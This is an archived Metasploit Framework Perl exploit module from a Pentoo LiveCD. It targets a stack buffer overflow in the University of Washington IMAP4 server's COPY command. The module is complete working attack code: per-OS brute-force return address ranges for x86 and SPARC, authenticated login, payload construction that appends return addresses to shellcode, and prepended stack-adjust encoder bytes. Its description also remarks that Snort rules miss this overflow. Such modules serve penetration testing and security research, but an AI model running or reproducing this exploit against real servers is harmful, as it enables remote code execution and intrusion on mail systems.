home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / uow_imap4_copy.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  232 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::uow_imap4_copy;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced =
  16.   {
  17.     'AlignPayload' => [1, 'What boundary to align on'],
  18.   };
  19.  
  20. my $info =
  21.   {
  22.     'Name'  => 'University of Washington IMAP4 COPY Overflow',
  23.     'Version'  => '$Revision: 1.20 $',
  24.     'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  25.     'Arch'  => [ 'x86', 'sparc' ],
  26.     'OS'    => [ 'bsd', 'linux' ],
  27.     'Priv'  => 0,
  28.  
  29.     'UserOpts'  =>
  30.       {
  31.         'RHOST' => [1, 'ADDR', 'The target address'],
  32.         'RPORT' => [1, 'PORT', 'The target port', 143],
  33.         'USER'  => [1, 'DATA', 'User name'],
  34.         'PASS'  => [1, 'DATA', 'Password'],
  35.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  36.       },
  37.  
  38.     'Payload' =>
  39.       {
  40.         'Space' => 1000,
  41.         'MinNops' => 700,
  42.         'BadChars' => "\x00/",
  43.         'Keys' => ['+findsock', '+inetd'],
  44.       },
  45.  
  46.     'Description'  => Pex::Text::Freeform(qq{
  47.         This exploits a buffer overflow in the COPY command. An overly long
  48.         argument causes a classic stack buffer overflow.
  49.  
  50.         Snort's imap.rules detects the LIST, RENAME, LSUB, and FIND overflows 
  51.         but does not catch COPY (12/10/04).
  52. }),
  53.  
  54.     'Refs'  =>
  55.       [
  56.         ['BID', '1110'],
  57.         ['OSVDB', '12037'],
  58.         ['MIL', '70'],
  59.       ],
  60.  
  61.     'Targets' =>
  62.       [
  63.         [ "Linux / x86 stack bruteforce", 0xbffffcd0, 0xbfa00000, 700, 1096, \&Payloadx86 ],
  64.         [ "FreeBSD / x86 stack bruteforce", 0xbfbffcd0, 0xbf100000, 700, 1096, \&Payloadx86 ],
  65.  
  66. # These 2 could be consolidated and you'd get 5-6 useless hits on Linux but it's better this way.
  67.         [ "NetBSD / sun4m stack bruteforce", 0xeffffcd0, 0xefa00000, 720, 1084, \&PayloadSPARC ],
  68.         [ "Linux / sun4m stack bruteforce", 0xefffecd0, 0xefa00000, 720, 1084, \&PayloadSPARC ],
  69.         [ "OpenBSD / sun4m stack bruteforce", 0xf7fffca0, 0xf7a00000, 720, 1084, \&PayloadSPARC ],
  70.       ],
  71.     
  72.     'Keys'  => ['imap'],
  73.  
  74.     'DisclosureDate' => 'Apr 16 2000',
  75.   };
  76.  
  77. sub new {
  78.     my $class = shift;
  79.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  80.     return($self);
  81. }
  82.  
  83. sub Exploit {
  84.     my $self = shift;
  85.     my $target_idx  = $self->GetVar('TARGET');
  86.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  87.  
  88.     my $target = $self->Targets->[$target_idx];
  89.     my $curr_ret;
  90.  
  91.     if (! $self->InitNops(128))
  92.     {
  93.         $self->PrintLine("[*] Failed to initialize the nop module.");
  94.         return;
  95.     }
  96.  
  97.     $self->PrintLine(sprintf("[*] Starting bruteforce mode for target %s.", $target->[0]));
  98.  
  99.     for (
  100.         $curr_ret  = $target->[1];
  101.         $curr_ret >= $target->[2];
  102.         $curr_ret -= $target->[3]
  103.       )
  104.     {
  105.         if(!($curr_ret & 0xff) || ($curr_ret & 0xff) == 0x20)
  106.         {
  107.             $curr_ret += 8;
  108.         }
  109.         if(!($curr_ret & 0xff00) || ($curr_ret & 0xff00) == 0x2000)
  110.         {
  111.             $curr_ret -= 0x0100;
  112.         }
  113.  
  114.         my $s = Login($self);
  115.         if($s == -1)
  116.         {
  117.             return;
  118.         }
  119.  
  120.         $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));
  121.         $s->Send(sprintf("1 UID COPY 1:2 {%i}\r\n", $target->[4] + 1));
  122.         $s->Recv(-1);
  123.         $s->Send(Pex::Text::AlphaNumText($self->GetVar('AlignPayload')) . $target->[5]->($self, $curr_ret, $shellcode) . "\r\n");
  124.  
  125.         $self->Handler($s);
  126.         $s->Close();
  127.         undef($s);
  128.     }
  129.  
  130.     return;
  131. }
  132.  
  133. sub Check {
  134.     my $self = shift;
  135.  
  136.     my $s = Login($self);
  137.     if($s == -1)
  138.     {
  139.         return;
  140.     }
  141.  
  142.     $s->Send("1 UID COPY 1:2 {1096}\r\n");
  143.     $s->Recv(-1);
  144.     $s->Send(Pex::Text::AlphaNumText(1096) . "\r\n");
  145.     my $reply = $s->Recv(-1);
  146.  
  147.     if(!$reply)
  148.     {
  149.         $self->PrintLine("[*] Vulnerable server.");
  150.         return $self->CheckCode('Confirmed');
  151.     }
  152.  
  153.     $self->PrintLine("[*] Server is probably not vulnerable.");
  154.     return $self->CheckCode('Safe');
  155. }
  156.  
  157. sub Login {
  158.     my $self = shift;
  159.  
  160.     my $user = $self->GetEnv('USER');
  161.     my $pass = $self->GetEnv('PASS');
  162.  
  163.     my $sock = Msf::Socket::Tcp->new
  164.       (
  165.         'PeerAddr'  => $self->GetVar('RHOST'),
  166.         'PeerPort'  => $self->GetVar('RPORT'),
  167.         'LocalPort' => $self->GetVar('CPORT'),
  168.         'SSL'       => $self->GetVar('SSL'),
  169.       );
  170.     if ($sock->IsError) {
  171.         $self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
  172.         return -1;
  173.     }
  174.  
  175.     $sock->Send(sprintf("1 LOGIN \"%s\" \"%s\"\r\n", $user, $pass));
  176.     my $reply = $sock->Recv(-1);
  177.     if(!$reply || $reply !~ /1 OK/)
  178.     {
  179.         $self->PrintLine('[*] Authentication failed.');
  180.         return -1;
  181.     }
  182.     undef($reply);
  183.  
  184.     # XXX: Create random dirname
  185.     $sock->Send("1 CREATE MISC\r\n");
  186.     $sock->Recv(-1);
  187.     $sock->Send("1 SELECT MISC\r\n");
  188.     $sock->Recv(-1);
  189.  
  190.     return $sock;
  191. }
  192.  
  193. sub Payloadx86 {
  194.     my $self = shift;
  195.     my $ret = shift;
  196.     my $sc = shift;
  197.  
  198.     my $buf;
  199.  
  200.     # XXX: More precision.
  201.     $buf = $sc . pack("V", $ret) x 24;
  202.  
  203.     return $buf;
  204. }
  205.  
  206. sub PayloadSPARC {
  207.     my $self = shift;
  208.     my $ret = shift;
  209.     my $sc = shift;
  210.  
  211.     my $buf;
  212.  
  213.     $buf = $self->MakeNops(20) . $sc . pack("N", $ret) x 16;
  214.  
  215.     return $buf;
  216. }
  217.  
  218. sub PayloadPrependEncoder {
  219.     my $self = shift;
  220.     my $target_idx  = $self->GetVar('TARGET');
  221.     my $target = $self->Targets->[$target_idx];
  222.  
  223.     if($target->[0] =~ /x86/)
  224.     {
  225.         return "\x66\x81\xec\xe8\x03";
  226.     }
  227.     elsif($target->[0] =~ /sun4/)
  228.     {
  229.         return "\x9c\x23\xa3\xe8";
  230.     }
  231. }
  232.